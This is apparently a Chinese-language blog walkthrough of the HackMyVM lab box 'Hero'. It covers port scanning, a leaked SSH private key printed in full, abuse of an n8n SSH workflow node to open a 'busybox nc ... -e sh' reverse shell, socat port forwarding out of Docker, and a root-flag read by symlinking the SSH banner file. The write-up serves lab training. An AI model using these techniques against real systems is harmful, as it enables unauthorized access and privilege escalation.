HMV Hero
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
IP=192.168.0.205
nmap $IP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 02:55 EST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.0.205
Host is up (0.00033s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp filtered domain
80/tcp open http
5678/tcp open rrac
MAC Address: 08:00:27:38:C2:BA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds

80 端口是 http 服务, 进去看看。

打开网页是个 prive key 也是神奇:

1
2
3
4
5
6
7
8
9

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----

看看有没有密码:

1
2
3
chmod 600 key   
ssh-keygen -y -f key
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiYY31x+ZMvvHfmGWC7ZE75BbdbAKYEtIX75k6CL27C shawa@hero

给了用户名。但是没有 22 。

再看看 5678,http 直接访问。发现是一个N8N 的服务,注册一个账号进去。

去 Github 上看看这个 N8N 。总结仓库:

n8n 是一个安全的工作流自动化平台,为技术团队提供了代码的灵活性和无代码的速度。它拥有400多个集成,原生 AI 功能,以及公平代码许可,让您可以构建强大的自动化,同时保持对数据和部署的完全控制。

主要功能点
代码编写:可以编写 JavaScript/Python 代码,添加 npm 包,或使用可视化界面

原生 AI 平台:基于 LangChain 构建 AI 代理工作流,使用您自己的数据和模型

完全控制:可以自行托管,使用公平代码许可,或使用云端服务

企业级:提供高级权限管理、单点登录和隔离部署等功能

活跃社区:400多个集成和900多个现成模板

技术栈
主要使用 TypeScript 语言

前端框架采用 Vue.js

后端基于 Node.js 和 Express.js

许可证
n8n 采用公平代码许可,包括源代码可见、可自行托管和可扩展等特点。企业版还提供额外功能和支持。

简单来说是基于 LangChain 的一个无代码的工作流平台。

渗透

在 Overview 里面找到 Credentials ,新增 shawa 账号和刚才的 key 。
IP 注意不能是 localhost 或者 127.0.0.1 ,因为是 Docker 里。

提示你 Connection tested successfully 就行了。

在 Workflow 里面创建一个 Workflow ,弄个手动的 Trigger。 第二个节点选 SSH 。

就可以 Test 命令了。随便试了两个命令没问题。那么接下来就反弹一个。

反弹的命令:

1
busybox nc 192.168.0.30 1234 -e sh

因为在 docker 里,只能用 busybox 的命令。

然后就拿到了反弹的 shell。

1
2
id
uid=1000(shawa) gid=1000(shawa) groups=1000(shawa)

在家目录拿到user flag。

提权

目前这个反弹的 shell 在 docker 里,很多功能都不太对接。需要转一个端口出来弄一个交互式的 shell。

传一个 socat过去,转一个端口:

1
./socat TCP-LISTEN:2222,fork TCP4:172.17.0.1:22 &

然后就可以ssh 过去:

1
2
3
4
5
6
ssh [email protected] -i key -p 2222

hero:~$ id
uid=1000(shawa) gid=1000(shawa) groups=1000(shawa)
hero:~$ sudo
-sh: sudo: not found

sudo 没有,一时间不知道怎么弄。

后来经过 @ll104567 的提示,从 Banner 下手。

看了下 /etc/ssh/sshd_config 里面的 Banner /opt/banner.txt ,虽然文件改不了,但是可以 ln到 /root/root.txt 上。因为 /opt/banner.txt 有权限。

1
2
3
cd /opt
rm banner.txt
ln -s /root/root.txt /opt/banner.txt

然后就拿到了 root 的 flag:

1
2
3
ssh [email protected] -i key -p 2222
HMVNOTINPRODLOL
Welcome to Alpine!

完结撒花。 🎉

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 82.6k 访客数 访问量